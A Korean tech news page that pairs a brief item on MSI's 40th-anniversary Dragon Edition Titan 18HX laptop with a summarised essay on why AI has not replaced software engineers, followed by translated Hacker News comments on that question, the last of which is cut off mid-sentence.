11일(현지시간) IT매체 테크레이더에 따르면, MSI는 컴퓨텍스 이후 진행된 40주년 기념 전시회에서 특별판 노트북 드래곤 에디션 드라코 에픽 타이탄 18HX를 선보였다. 이 제품은 인텔 코어 울트라 9 290HX 플러스 프로세서와 엔비디아 지포스 RTX 5090 노트북 GPU, 24GB GDDR7 메모리를 탑재한 초고사양 모델이다.
40주년 기념작인 만큼 디자인에도 공을 들였다. 제품은 그리스 신화 속 헤라클레스가 물리친 용을 상징하는 별자리 드라코에서 영감을 받았다. 금빛 별자리 문양과 금속 질감의 청회색 용 디자인이 적용됐으며, 이러한 디자인 요소는 후면뿐 아니라 제품 전반에 반영됐다.
외형뿐 아니라 성능도 최상위급 사양으로 구성됐다. 18인치 UHD+ 미니 LED 디스플레이와 240Hz 주사율을 지원하며, 베이퍼 챔버 쿨링 시스템과 PCIe 5세대 SSD 전용 냉각 구조를 적용해 장시간 사용 환경도 고려했다.
사용자 경험을 위한 부가 기능도 강화했다. RGB 햅틱 터치패드와 체리 기계식 키 스위치를 적용한 키별 RGB 게이밍 키보드를 탑재했으며, 코파일럿 전용 키도 포함됐다.
가격은 아직 공개되지 않았다. 다만 기본형 '타이탄 18HX'의 시작 가격이 4999.99달러(약 760만원)인 점을 고려하면 한정판 가격은 이를 크게 웃돌 가능성이 제기된다. 여기에 특별 디자인과 마우스, 마우스패드, 전용 패키지, 수집용 코인 등 구성품까지 포함되는 만큼 7500달러(약 1140만원) 이하로 책정되기 어려울 것이라는 전망이 나왔다.
키워드 #MSI #타히탄 18HX #노트북 #RTX 5090
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AI가 소프트웨어 엔지니어를 대체하지 않은 이유, 그리고 앞으로도 대체하지 못할 이유 (normaltech.ai)
소프트웨어 엔지니어링은 AI 도입이 빠른 직군이지만, AI가 일정 능력에 도달하면 대규모 해고 가 발생한다는 서사는 현재 증거로 지지되지 않음 Block, Snap, Intuit 사례에서 AI는 해고 명분으로 등장했지만, 실제 배경은 재무 압박 , 비용 절감 요구, 관리 계층 축소와 더 직접적으로 연결됨 소프트웨어 개발은 결정·실행·전달의 샌드위치 구조 이며, AI는 실행 층을 압축하지만 무엇을 만들지 정하고 결과를 검증·책임지는 층은 자동화에 강하게 저항함 “vibe coding”은 감독·검토 없이 에이전트에 맡기는 방식이고, 실제 엔지니어들은 인간이 통제와 책임을 유지하는 agentic engineering 방식으로 에이전트를 사용함 AI로 소프트웨어 생산 비용이 낮아지면 더 많은 소프트웨어 수요가 생길 수 있으며, 개별 엔지니어의 경력은 흔들릴 수 있어도 전체 수요는 강하게 유지될 가능성이 있음 AI가 소프트웨어 엔지니어를 대체하지 않은 이유, 그리고 앞으로도 대체하지 못할 이유 Coding agents as normal technology AI가 일자리를 대체할지에 대한 불안과 불확실성은 크지만, 이 문제를 보려면 AI 능력과 도입이 빠르게 진행된 소프트웨어 엔지니어링 직군을 살펴볼 필요가 있음 AI 능력이 특정 임계점에 도달하면 대규모 해고가 발생한다는 서사는 충분한 증거로 기각할 수 있음 규제 장벽이 거의 없는 부문에서도 대규모 해고 서사가 성립하지 않는다면, 다른 직업군은 더 큰 완충 장치를 가질 가능성이 있음 지식 노동과 소프트웨어 개발은 decide-execute-deliver sandwich 로 볼 수 있으며, AI는 실행 층을 압축하지만 결정과 전달 층은 능력 향상만으로 자동화되지 않음 소프트웨어 엔지니어링 수요의 미래는 조심스러운 낙관이 가능하지만, 전체 수요가 건강해도 개인 엔지니어의 경력은 불안정할 수 있음 소프트웨어 분야의 AI발 대규모 해고 사례는 전형적인 “AI washing”에 가까움 Block 사례 Block은 2월에 직원 4,000명 해고를 발표했고, Jack Dorsey는 AI가 “더 작고 평평한 팀”을 가능하게 한다고 말하며 2025년 말 모델 능력 향상을 언급함 이후 보도는 Block이 팬데믹 기간 인원을 세 배 이상 늘린 뒤 강한 재무 압박 을 받고 있었다는 다른 그림을 보여줌 Cash App 팀 데이터 과학자 Naoko Takeda는 Block이 AI를 모두에게 강요했지만 생산성 향상은 매우 제한적이었다고 썼고, 75% 잔류 인상안을 거절하고 퇴사함 인터뷰에 응한 다른 직원들은 Block에서 AI가 무엇을 할 수 있는지와 Dorsey가 쟁점을 제대로 이해했는지에 대해 크게 다른 인식을 갖고 있었음 Aaron Levie는 CEO들이 빠른 프로토타입은 만들 수 있지만 완제품으로 만드는 데 필요한 90%의 작업을 보지 못해 AI 효용에 대한 착각에 빠지기 쉽다고 지적함 Snap 사례 Snap은 4월에 약 1,000명을 해고했고, Evan Spiegel은 해고 메모에서 AI를 주요 이유로 들었음 Spiegel은 신규 코드의 65% 가 AI로 생성됐다고 말함 실제 해고는 비용 절감을 요구한 행동주의 투자자의 캠페인 이후 발생함 Snap은 2017년 IPO 이후 매년 순손실을 냈고, 2026년 주가는 30% 이상 하락함 감원 성격은 증강현실 부문에서 다양한 직무 150개를 줄이는 방식이었고, AI가 원인이라면 예상되는 전사적 프로그래밍·AI 노출 직무 감원과 맞지 않음 Intuit 사례 Intuit은 5월에 3,000명 감원을 발표했고, Anthropic 및 OpenAI와의 계약도 함께 알려짐 언론은 이를 AI 중심 구조조정으로 연결했지만, CEO는 감원이 AI와 관련 없다고 반박함 감원 대상은 “조정이 많은 역할”과 과도한 관리 계층이었다고 밝힘 Block, Snap, Intuit 사례는 AI가 해고의 표면적 명분으로 쓰이지만 실제 조직 사정과 비용 구조가 더 직접적인 배경이었음을 보여줌 AI washing은 경제 전반의 현상임 검토한 AI발 소프트웨어 엔지니어링 해고 이야기마다 같은 방식의 서사 불일치가 나타남 미국 채용 관리자 59%는 채용 동결이나 해고를 설명할 때 재무 제약보다 AI를 강조하는 편이 이해관계자에게 더 잘 받아들여진다고 인정함 Forrester의 J. P. Gownder는 AI발 해고를 준비하는 기업에 성숙하고 검증된 AI 앱이 있는지 물으면 열에 아홉은 없고 시작도 하지 않았다고 말함 HBR 조사에서 전 세계 임원 1,000명 이상 중 21%는 AI를 “예상해” 대규모 인원 감축을 했고, 39%는 낮거나 중간 수준의 선제 감축을 했음 실제 AI 구현과 관련해 이미 대규모 인원 감축을 한 비율은 2%였고, 이는 예상 기반 감축과 실제 구현 기반 감축 사이에 큰 간극이 있음을 보여줌 WARN Act 데이터 WARN Act는 100명 넘는 노동자에게 영향을 주는 사업장 폐쇄와 대규모 해고에 특정 공시를 요구함 뉴욕주는 2025년 3월 미국 주 가운데 처음으로 WARN Act 제출 양식에 AI 공시 체크박스를 추가함 첫 1년 동안 160개 넘는 기업이 WARN 통지를 제출했지만, AI 박스를 체크한 기업은 하나도 없었음 5월 말 기준 뉴욕 노동부 확인으로는 Nespresso 한 곳만 체크박스를 선택함 제출 자료가 정확하다면 해당 기간 뉴욕주 해고자 약 25,000명 중 AI 영향을 받은 인원은 46명, 약 0.2%였음 해고는 AI 생산성 효과를 보는 잘못된 신호임 AI 생산성 효과는 기존 직원을 더 많이 해고하는 방식보다 채용 둔화 를 통해 작동한다는 연구 결과가 있음 기존 직원을 해고하면 AI를 효과적으로 쓰는 데 필요한 암묵지와 조직 자본을 잃게 됨 해고는 퇴직금, 사기 저하, 재채용 위험 측면에서도 비용이 큼 자연 감소만으로도 몇 년 안에 같은 결과를 얻을 수 있어 대규모 해고는 대체로 불필요함 고용 추세 데이터 Federal Reserve 경제학자들의 논문 은 미국 맥락에서 관련 증거를 종합함 고용은 여전히 증가하고 있지만, ChatGPT 이후에는 AI가 없었을 반사실적 경로보다 연간 약 3%포인트 느리게 성장함 이 연구 방법론은 자영업을 포착하지 못해 성장 둔화 일부가 창업으로 흡수됐을 가능성이 있음 다른 연구들은 AI가 창업을 더 쉽게 만든다는 증거를 제공함 실제 그림은 Federal Reserve 연구가 보여주는 것보다 더 건강할 수 있음 실제로 존재하지만 다른 유형의 AI 관련 일자리 손실 AI가 제품 수요를 줄이는 경우에는 소프트웨어 엔지니어링 일자리 손실이 발생할 수 있음 Chegg와 Stack Overflow는 AI가 숙제 도움이나 기술 도움 제품 수요를 줄인 사례로 제시되며, 두 회사 모두 해고를 했음 이 경우 AI가 노동자의 업무를 직접 수행한 것이 아니라 그 업무의 필요성을 줄였음 1950년 미국 인구조사의 270개 직업 중 자동화로 사라진 직업은 엘리베이터 운전원 하나였지만, 전신 기사처럼 신기술로 불필요해진 직업은 여럿 있었음 AI를 구매하는 기업이 아니라 판매하는 IBM이나 SAP 같은 기업의 해고는 노동자 대체보다 기존 기능에서 빠르게 성장하는 제품 라인으로 인력을 재배치하는 일반적 기업 구조조정에 가까움 코딩 에이전트가 노동 대체로 이어지지 않은 이유: decide-execute-deliver sandwich AI가 작성한 코드 비율은 노동 대체와 거의 연결되지 않음 일부 기술 리더들은 AI가 작성한 코드 비율을 해고나 미래 일자리 감소 전망과 함께 제시함 이 방식은 AI가 모든 코드를 쓰면 코더가 필요 없어진다는 단순한 사고방식을 강화함 하지만 AI 작성 코드 비율은 노동 대체를 판단하는 핵심 지표와 거의 무관함 코드 작성은 병목이 아니었고, 과거에도 병목이 아니었음 코드 작성은 병목이 아니었음 2019년 논문은 기존 연구를 종합해 개발자가 코딩에 쓰는 시간이 연구에 따라 9%에서 61%로 놀랄 만큼 적다고 결론 내림 이 결과는 Microsoft 개발자 6,000명의 자체 데이터와도 일치함 코딩 에이전트 도입이 시작된 뒤 2025년 말 여러 글은 코드 작성이 병목이 아니라고 지적함 개발자들은 에이전트가 코드 대부분을 쓰게 해도 전체 생산성에 미치는 영향이 작다는 점을 인식함 실제 병목 세 가지 실제 병목은 무엇을 만들지 결정하고 명세화하는 일임 전달된 결과를 검증하고 책임지는 일도 핵심 병목임 코드베이스, 비즈니스, 환경에 대한 깊은 인간 이해 는 결정과 전달 모두에 필요함 소프트웨어 엔지니어의 일은 결정·실행·전달의 샌드위치이며, 이해는 세 층 모두의 전제 조건임 AI는 샌드위치의 가운데를 압축했지만 양끝은 대체로 그대로 남겼음 “Writing Code vs. Shipping Code” 증거 Writing Code vs. Shipping Code 는 GitHub 개발자 100,000명을 대상으로 AI 생산성 효과를 분석함 AI 에이전트는 작성된 코드 줄 수를 8배 늘렸고, 이는 실행 층이 크게 압축된다는 설명과 일치함 릴리스 증가는 30%에 그쳤고, 이는 결정과 전달 층의 인간 병목이 여전히 남아 있음을 강하게 시사함 결정 층은 더 얇아지기 어려움 개발팀은 무엇을 만들지 결정해야 함 주니어 소프트웨어 엔지니어가 배우는 중요한 교훈 중 하나는 요구사항 명세가 예상보다 오래 걸린다는 점임 요구사항 명세를 압축하면 이후 단계에서 더 큰 고통이 발생함 이 층은 사용자 요구, 시장 신호, 조직 우선순위, 경우에 따라 규제 제약을 고려해야 하므로 자동화가 어려움 AI 능력이 향상되면 AI에 위임할 수 있는 결정의 종류는 늘어나지만, 위임 가능한 결정은 더 이상 경쟁우위의 원천이 되지 않음 인간 의사결정의 가치는 더 상위 단계로 이동하며, 소프트웨어 복잡성은 시간이 지날수록 증가하므로 이 과정에 명확한 천장은 없음 전달 층은 책임과 검증 때문에 남아 있음 인간 팀은 자신들이 전달하는 결과에 대해 책임져야 함 미래 어느 시점에는 팀이 충분히 테스트하고 이해하지 않은 미션 크리티컬 코드를 배포할 수도 있음 현재 AI는 매우 불안정해 그런 무질서한 방식은 소프트웨어 팀과 고객에게 실존적 위협이 됨 기술 장벽이 사라져도 인간이 AI에 통제를 넘길 필요는 없음 공유 규범, 법, 정책을 통해 인간 책임을 유지하는 선택이 가능함 책임법과 부문별 규제는 이미 속도 장벽으로 작동하고 있으며, 더 강화될 수 있음 미래 소프트웨어 엔지니어는 크레인 운전사에 가까워짐 실행 층이 더 많이 AI에 위임될수록 소프트웨어 엔지니어의 역할은 크레인 운전사와 비슷해짐 AI 에이전트는 인지적 무거운 작업 대부분을 수행하고, 인간은 에이전트를 감독하고 통제하는 일이 핵심 업무가 됨 일부는 인간이 통제하는 미래가 비용 때문에 가능하지 않다고 주장함 감독이 부족한 코딩 에이전트가 운영 데이터베이스를 삭제하거나 다른 피해를 낸 사례들이 이미 화제가 됨 이런 사례들은 새 규범이라기보다 충격성 때문에 퍼지는 예외적 사건이며, AI 과의존을 경계하게 만드는 학습 계기가 됨 고위험 작업에서 감독 부족 AI 사용이 증가하는지 감지하는 일은 소프트웨어 엔지니어링뿐 아니라 경제 전반의 중요한 데이터 공백임 프로그래밍 축소는 AI만의 현상이 아님 샌드위치가 눌리는 추세는 새롭지만 AI만의 결과는 아님 20년 넘게 전부터 Bureau of Labor Statistics는 프로그래밍과 소프트웨어 엔지니어링을 분리해 추적하기 시작함 대략 프로그래머는 실행만 맡고, 소프트웨어 엔지니어는 샌드위치의 더 큰 부분을 관리함 프로그래밍은 축소됐고, 단순 실행 업무로 여겨져 보수도 훨씬 낮음 AI는 오래된 추세를 가속하며 순수 기술 실행 능력의 가치를 더 낮춤 인간이 결정과 전달 양끝에 깊이 관여하고 AI가 중간 실행층을 자동화하는 패턴은 지식 노동 전반에 넓게 적용될 수 있음 Vibe coding은 agentic engineering이 아님 용어 혼란 “vibe coding”이라는 용어가 넓은 범위의 관행을 가리키는 데 부정확하게 쓰이면서 소프트웨어 엔지니어링 변화에 대한 혼란이 생김 실제 vibe coding에서는 사용자가 에이전트에게 할 일을 말한 뒤 실행 중 감독하지 않고 코드를 검토하지 않음 이 사용자는 코드를 검토할 역량이 없을 수도 있고, 눈에 띄게 망가진 경우를 제외하면 결과를 평가하지 않을 수도 있음 이는 대부분의 소프트웨어 엔지니어가 에이전트를 쓰는 방식과 다름 Agentic engineering 대부분의 소프트웨어 엔지니어는 인간이 결과에 대한 통제와 책임을 유지한 채 에이전트를 도구로 사용함 이런 관행을 가리키는 용어로 agentic engineering 이 확산되고 있음 agentic engineering이 표준이 되면서 엔지니어들은 코딩 에이전트 감독이 예상보다 시간이 많이 든다는 점을 발견함 Simon Willison은 에이전트를 감독하다 오전 11시쯤 정신적으로 지친다고 말했으며, 이는 실제 경험과도 일치함 SWE-chat 데이터 SWE-chat 은 로깅 도구에 자발적으로 참여한 오픈소스 개발자의 코딩 에이전트 상호작용 데이터셋임 이 연구에서 에이전트가 만든 코드 중 사용자 커밋까지 살아남은 비율은 44%였음 vibe-coded 커밋은 인간만 작성한 커밋보다 취약점을 9배 높은 비율로 도입함 가장 흔한 사용자 의도는 새 코드 생성이 아니라 기존 코드 이해였고, 비율은 19% 대 13%였음 데이터셋이 자기선택 표본이므로 이 연구만으로 강한 결론을 내릴 수는 없음 그래도 vibe coding과 agentic engineering이 서로 다른 패턴이라는 다른 증거들을 강화함 핵심 차이 vibe coding과 agentic engineering은 완전히 분리된 두 범주가 아니라 스펙트럼의 양끝임 모든 프로젝트가 일회성 프로젝트나 미션 크리티컬 프로젝트로 나뉘지는 않음 모든 워크플로가 표의 왼쪽 열이나 오른쪽 열에 정확히 맞지는 않음 일자리 문제에서 중요한 함의는 기업이 검증되지 않은 vibe coder를 소프트웨어 엔지니어 대신 고용해 프로덕션 소프트웨어를 배포할 수 없다는 점임 앞으로 어떤 일이 생길까 대규모 해고 전망이 성립하기 어려운 이유 AI 옹호자들은 대규모 해고가 아직 오지 않았을 뿐이라고 주장할 수 있음 하지만 샌드위치 모델이 맞다면 이런 예측은 실현되지 않음 AI는 이미 샌드위치의 중간 층을 크게 압축했고, 이 압축은 실제로 수십 년 전부터 시작됐음 실행 층이 즉각적이고 완벽해져도 현재 상태에서의 변화는 작음 결정과 전달 층이 AI에 저항하는 이유는 능력 한계 때문이 아님 소프트웨어 엔지니어 수요는 늘어날 수 있음 AI 때문에 소프트웨어 엔지니어링 일자리가 사라지지 않을 뿐 아니라 수요가 늘어날 수도 있음 기술 생산성 향상으로 소프트웨어를 만드는 비용이 낮아지면 사람들은 더 많은 소프트웨어를 구매함 소프트웨어는 경제학 용어로 가격 탄력성이 높음 AI가 소프트웨어 엔지니어를 대체하지 않는다면, 더 많은 소프트웨어 수요는 더 많은 소프트웨어 엔지니어 파생 수요로 이어짐 “Jevons’ paradox”는 AI 담론에서 이 개념을 설명하는 데 자주 쓰이는 경제학 용어임 역사적 패턴 미국의 프로그래머 고용은 1950년 무렵 거의 0에 가까웠지만 오늘날 수백만 명으로 증가함 이는 기계화와 자동화로 노동 수요가 크게 줄어든 농업 같은 직업과 크게 다름 사람의 칼로리 소비량은 상대적으로 고정되어 있지만, 생산되는 소프트웨어 양은 백만 배 증가함 현대 자동차에는 여러 온보드 컴퓨터에서 작동하는 약 1억 줄의 코드가 들어감 코드 수요에 천장이 있다 해도 현재는 그 근처에 있지 않음 거의 모든 인지 업무는 소프트웨어의 혜택을 받으며, AI가 코딩 비용을 낮추면서 업무용·개인용 일회성 유틸리티가 만들어지고 있음 Big Tech만 커진다는 뜻은 아님 미래에 소프트웨어가 훨씬 많아지고 소프트웨어 엔지니어도 늘 가능성이 있지만, 대형 기술 기업이 더 커진다는 뜻은 아님 오늘날 소프트웨어 엔지니어의 다수는 이미 비소프트웨어 기업의 내부 조직에서 일함 이 비중은 앞으로 더 커질 수 있음 “AI rollups”는 벤처캐피털이나 사모펀드가 치과, 회계법인 같은 Main street 사업을 사들인 뒤 소프트웨어 엔지니어나 AI 엔지니어를 넣어 AI-native로 다시 만드는 구상을 가리킴 이 구상은 단순한 과대광고로 끝날 수도 있으며, 아직 판단하기 이름 민주화 예측에 대한 반론 일부는 AI가 소프트웨어 엔지니어링을 민주화해 소프트웨어 엔지니어링 수요가 줄어들 것이라고 예측함 이들은 생산되는 소프트웨어와 소프트웨어 생산에 쓰이는 인간 시간이 모두 늘지만, 그 일을 소프트웨어 엔지니어가 아닌 사람이 할 것이라고 봄 예를 들어 법률 소프트웨어는 소프트웨어 엔지니어링 훈련보다 법률 훈련을 받은 사람이 더 쉽게 만들 수 있다는 생각임 이런 주장은 vibe coding과 agentic engineering, 실행 층과 전체 샌드위치를 혼동하는 함정에 빠짐 FORTRAN, COBOL, SQL 같은 과거 언어도 등장 당시 프로그래밍 민주화 기대를 동반했지만, 그런 일은 일어나지 않았음 장벽은 문법 학습이 아니라 책임을 유지하면서 좋은 결정을 내릴 숙련된 판단력임 개인 경력에는 큰 구조 변화가 올 수 있음 시간이 지날수록 사람들이 컴퓨터로 새로운 일을 하게 만드는 데 쓰는 시간은 늘어날 가능성이 큼 이 활동은 소프트웨어 구축, 에이전트를 활용한 복잡한 워크플로 관리, 또는 다른 형태를 취할 수 있음 필요한 역량은 소프트웨어 기술, AI 기술, 도메인 전문성의 조합이 됨 오늘날의 소프트웨어 엔지니어가 이런 새 역할에 가장 잘 적응할지는 아직 알 수 없음 전체 소프트웨어 노동 수요가 강하더라도 개인 노동자가 영향을 받지 않는다는 뜻은 아님 AI는 소프트웨어 생산 방식에 큰 구조 변화를 만들고, 어떤 엔지니어가 이득을 보거나 손해를 볼지는 근무 기업 유형, 지역, 경력 수준, 적응 속도에 따라 달라짐
함께 보면 좋은 글 β 소프트웨어 엔지니어링은 더 이상 평생 직업이 아닐 수 있다 AI는 사고를 대체하지 말고 끌어올려야 함 AI가 코딩을 쉽게 만들었다. 그러나 엔지니어링은 더 어려워졌다 AI는 소프트웨어 엔지니어링을 단순화하지 않았다: 나쁜 엔지니어링을 더 쉽게 만들었을 뿐 Ask HN: AI에 대한 열풍 속에서 소프트웨어 엔지니어들은 어떻게 생각하고 있나요?
소프트웨어 엔지니어링은 더 이상 평생 직업이 아닐 수 있다
AI가 코딩을 쉽게 만들었다. 그러나 엔지니어링은 더 어려워졌다
AI는 소프트웨어 엔지니어링을 단순화하지 않았다: 나쁜 엔지니어링을 더 쉽게 만들었을 뿐
Ask HN: AI에 대한 열풍 속에서 소프트웨어 엔지니어들은 어떻게 생각하고 있나요?
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▲ GN⁺ 2시간전 [-] Hacker News 의견들 컴퓨터 산업 역사 내내 우리는 소프트웨어 엔지니어링 자동화 를 공격적이고 열정적으로 해왔고, 그때마다 더 크고 좋은 것을 더 빨리 만들 수 있게 됐음 그렇게 생산성이 오르면 일의 가치도 커지고 기대치도 같이 올라갔으며, 지금까지 세계의 소프트웨어 수요는 끝이 없었음 AI가 소프트웨어 엔지니어를 대체하지 못한 이유는 생산성이 올라갈 때마다 목표 지점도 함께 이동했기 때문임 이 흐름이 끝나는 경우는 두 가지인데, 첫째는 마침내 세계의 소프트웨어 수요를 다 채울 만큼 생산성이 높아지는 것임 아직 그런 증거는 보이지 않고, 이번이 컴퓨터 산업 전체 역사와 왜 다른지 명확히 설명해야 함 둘째는 AI가 자율적으로 행동할 때 인간보다 뛰어난 소프트웨어 엔지니어 가 되는 경우임 즉 AI+인간 개발자가 AI 단독보다 더 낫지 않은 상태인데, 지금까지 증거는 AI가 개발자의 증폭기이며 좋은 결과를 내려면 전문가가 방향을 잡고 AI가 최대 90%를 하는 정도로 보임 가까운 미래에 둘 중 하나가 일어날 강한 증거는 없어서 소프트웨어 엔지니어는 당분간 안전하다고 봄 다만 기술 폭이 좁고 특정 영역, 예컨대 프런트엔드 웹 개발에 집중한다면 더 걱정해야 함 AI가 소프트웨어 엔지니어 전체를 대체하지 못해도, 제너럴리스트가 지휘하는 형태로 특정 도메인을 완전히 흡수할 가능성은 꽤 높음 소프트웨어의 종착점이 그리 멀지 않았다고 봄 이미 전체적으로는 사람들이 정말 원하는 것보다 더 많은 소프트웨어를 만들고 있고, 그 상당수는 쓰레기에서 노골적 사기, 심지어 악성에 가까운 것까지 있음 최종적으로는 할 일 목록 관리나 파일 동기화처럼 일반인이 필요한 작은 소프트웨어를 각자의 AI가 맞춤형으로 작성하게 될 것 같고, 소프트웨어 엔지니어는 큰 기업 프로젝트에만 남게 될 듯함 지난 수십 년간 상용 소프트웨어의 압도적 추세는 극단적인 반사용자적 비맞춤화 였음 하나의 행복 경로만 남기고, 필요에 맞지 않으면 알아서 하라는 식이 됐음 일상적인 사람들을 위한 상용 소프트웨어는 거의 없고, 오픈소스조차 일반 사용자에게서 멀어지는 중임 곧 평범한 사람들이 자기 방식대로 문제를 해결하는 소프트웨어를 직접 만들 수 있게 될 것임 대부분의 경우 품질과 정확성은 크게 중요하지 않고, 맞춤형이며 무료이고 침습적인 감시·광고 플랫폼이 아니라는 점이 더 중요함 프런트엔드 웹 개발 예시는 좀 웃기게 느껴짐 프런트엔드 개발자로서 현재 최첨단 모델은 내가 신경 쓰지 않는 지루한 뒤쪽 배관 작업 은 잘하지만, 실제 고객이 원하는 맞춤형 디자인 작업은 아직 잘 못한다고 봄 누가 확실히 맞고 틀렸다는 뜻은 아니고, 더 일반적인 기술 폭이 새 시대에 성공하는 최선의 방법이라는 데는 동의함 다만 LLM이 스택의 어느 한 부분을 완전히 장악해서 그 분야 전문가가 사라질 정도는 아직 아님 “이런 일이 일어나는 증거가 보이지 않는다”는 말과 달리, 적어도 모바일 앱 스토어 에서는 이미 비슷한 현상이 보임 최근 분석에 따르면 출시 앱 수는 크게 늘었지만, 전체 리뷰 수와 다운로드 수는 정체되어 있음 즉 앱은 훨씬 많아졌지만 사용자는 그다지, 혹은 거의 늘지 않았다는 뜻임 "WRITING CODE VS. SHIPPING CODE: PRODUCTIVITY EFFECTS ACROSS GENERATIONS OF AI CODING TOOLS"의 p40 / figure 12를 보면 됨: https://www.nber.org/system/files/working_papers/w35275/w352... 분석은 42~43쪽에 있음 파이가 고정됐다는 걸 증명할 수는 없지만, 반대로 파이가 무한하다는 것도 증명할 수 없음 소프트웨어의 경제 성장 이야기를 할 때 사람들이 놓치는 핵심은 돈이 어딘가에서 와야 한다는 점임 계속 성장하려면 지금 소프트웨어에 돈을 내지 않는 누군가가 새로 지불을 시작해야 하는데, 그들이 누구이고 얼마를 갖고 있으며 어떤 다른 비용과 경쟁하는지 봐야 함 “세계의 소프트웨어 수요는 끝이 없었다”는 말이 모두가 최신 최고 기술을 찾는다는 뜻은 아님 많은 기업은 여전히 맞춤 스프레드시트 나 Microsoft Access 같은 기술에 의존함 원하는 일을 정확히 해주고, 비용이 고정적이며, 추가 수정이나 유지보수가 거의 필요 없기 때문임 우리가 갇힌 거품 밖으로 나가 보면 많은 사람이 업그레이드에 관심이 있는 게 아니라, 이미 아는 낡은 것이 그냥 계속 작동하길 원한다는 걸 알게 됨 AI가 전문가 지휘 아래 90%의 작업을 할 수 있다면, 그건 개발자의 90% 를 일자리에서 밀어낸다는 뜻임 그리고 그 비율이 99%가 되지 못할 이유도 잘 모르겠음 AI는 분명 소프트웨어 엔지니어를 대체할 것임 빠진 부분은 글에서 말하듯 전달·운영 이고, 그건 소프트웨어 엔지니어보다 DevOps/SRE/Cloud 엔지니어의 영역임 클라우드 엔지니어로 일하는데, 비엔지니어 친구 여러 명이 이제 각자 사이드 프로젝트를 처음부터 여러 언어로 만들고 로컬, 웹앱, 네이티브 앱으로 실행할 수 있게 됐다고 연락해옴 그들에게 부족한 건 “보통 개발자”처럼 쉽게 배포하고 유지할 플랫폼임 지금은 이 발판을 만드는 일이 꽤 번거롭지만, AGENTS.md, skills, 엄격한 종합 테스트로 충분히 가능함 한 번 만들어두면 비기술 사용자는 claude/codex에 원하는 것을 말하는 방식으로 소프트웨어 엔지니어를 고용하지 않고도 계속 개발할 수 있음 claude/codex는 미리 정한 아키텍처를 바탕으로 판단하고 비기술 사용자를 안내할 수 있음 내 일화적 사례에서는 AI가 이미 여러 소프트웨어 엔지니어를 대체했음 이런 발판이 제품화되면 그린필드 프로젝트 는 에이전트 코더와 플랫폼 엔지니어링을 통해 제품 관점에서만 관리될 수 있다고 봄 이것이 지금이고, 5년 뒤를 상상해보면 됨 이런 추론은 잘 이해되지 않는데도 널리 퍼져 있음 비엔지니어가 만든 앱을 들고 온다고 해서 AI가 소프트웨어 엔지니어를 대체했거나 대체할 것이라는 뜻은 아님 증상을 Dr. Google로 찾아보고 생활습관 변화, 약초 요법, 일반의약품을 시도해서 실제로 효과를 볼 수 있지만, 그렇다고 의사가 사라지는 건 전혀 아님 생성형 AI로 음악 이론도, 음악 감각도, 창의성도 없이 음악을 만들 수 있지만, 음악적 재능이 있는 사람들이 사라지는 것도 아님 AI 도움으로 집안 DIY를 할 수 있어도 엔지니어가 사라지는 것은 아님 도메인 전문가가 실제로 필요한 것을 프로토타입-개선 반복 으로 명확히 하도록 누가 도울 것인가 취미 소프트웨어 제작자들이 의존하는 운영체제, 언어, 버전 관리 시스템, 편집기와 터미널 에뮬레이터, 지식·문서 관리 시스템, PaaS 플랫폼 등은 누가 작성하고 유지할 것인가 그들이 만든 것을 견고하다고 보장할 만큼 제대로 테스트했는가 생길 수 있는 경계 조건을 이해하고 있는가 보안은 괜찮은가 프롬프트로 빠르게 뭔가를 만들어내는 것은 엔지니어링과 같지 않음 소프트웨어 엔지니어링의 가치가 주로 산출된 코드, 즉 비트 배열 자체에 있다고 보는 오류 때문에 이렇게 보지 못하는 것일 수 있음 프로젝트의 주된 가치는 이론과 추상화를 만들어가는 과정에 있음: https://pages.cs.wisc.edu/~remzi/Naur.pdf 생성과 유지보수는 완전히 다른 짐승임 2주짜리 앱을 만들고 다시는 손대지 않는 엔지니어도 있겠지만, 그런 걸로 생계를 유지하는 사람은 잘 모르겠음 “당신의 사업을 위한 WordPress 사이트” 같은 일은 가능할지 모름 문제는 기능이 432개 있는데 433번째 기능을 추가하면서 나머지를 건드리지 않아야 할 때 생김 조금이라도 틀리면 안 되는 경우도 있고, 기능 하나가 엔지니어가 감당하는 속도보다 더 빠르게 복잡도를 늘려 시간이 지나며 프로젝트가 관리 불가능한 크기가 되는 경우도 있음 우리 회사에서는 비기술 팀이 기술 팀의 과부하 때문에 스스로 도구를 만들기 시작했음 큰 시스템과 연동되는 작은 애플리케이션 아이디어였고, 2~3일 만에 3~4커밋으로 개념 증명이 만들어졌음 인상적이긴 했지만 만든 사람이 지난 3개월 동안 그 프로젝트에 400커밋을 더 했고, 수정이 이어지면서 사실상 그 앱을 만들고 유지하는 일이 파트타임 또는 풀타임 일이 됐음 그 사람은 훈련받지 않은 소프트웨어 개발자 가 됐고, 보안이나 모범 사례는 이해하지 못함 Claude가 더 좋아지면 부담이 줄어 하루를 잡아먹지 않을 수도 있지만, 현재 우리 회사의 이런 초기 “바이브 앱”들은 모두 유지보수 업무가 되어 점점 더 많은 시간을 먹고 있음 사람들은 소프트웨어를 덜 원하는 게 아니라 더 원한다는 게 분명함 전통적 소프트웨어 엔지니어링은 사라질 수 있어도, 확장되는 플랫폼 관리, 보안, 복잡성, 문서화, 비즈니스 로직은 여전히 우리 회사 앞에 남아 있음 텍스트로 프로젝트를 만들 수 있다는 말은 맞지만, 가장 단순한 소프트웨어가 아닌 이상 “설정하고 잊기”는 없었다고 느낌 여전히 누군가는 전체를 관리해야 함 그 사람이 소프트웨어 엔지니어링 훈련을 받았든 아니든 말임 경험 있는 개발자는 여전히 훈련받지 않은 사람보다 더 잘할 가능성이 큼 물론 호기심 많은 빌더들은 빠르게 따라잡겠지만, 전통적 개발자에게는 큰 우위가 있음 우리는 늘 내부가 어떻게 작동하는지 알고 싶어 했기 때문임 그들이 몇 달 걸려 만든 현재 바이브 앱은 AI를 쓰면 내가 한 시간 안에 만들 수 있었음 소프트웨어 배포는 터미널에서 vercel 을 실행하는 수준까지 내려왔고, 에이전트도 요청만 받으면 아무 문제 없이 할 수 있음 데스크톱 소프트웨어 배포는 플랫폼에 따라 조금 더 어렵긴 함 그래도 사이드 프로젝트와 훌륭한 소프트웨어 사이의 간극은 여전히 매우 넓고, 그 간극이 언젠가 메워질 거라고 믿기 어려움 AI 이전에도 이미 풀린 문제가 먼저 대체되지 않을 이유가 뭔지 모르겠음 개인 프로젝트에 복잡한 인프라가 필요하다고 믿기도 어렵다 AI 보조 코딩은 훌륭하지만, 바이브 코딩은 폐기 가능한 프로토타입에나 좋다고 봄 무기한 유지해야 하는 금융 앱을 바이브 코딩으로 만들지는 않을 것임 레거시 시스템도 건드리지 않을 것임 AI가 일부 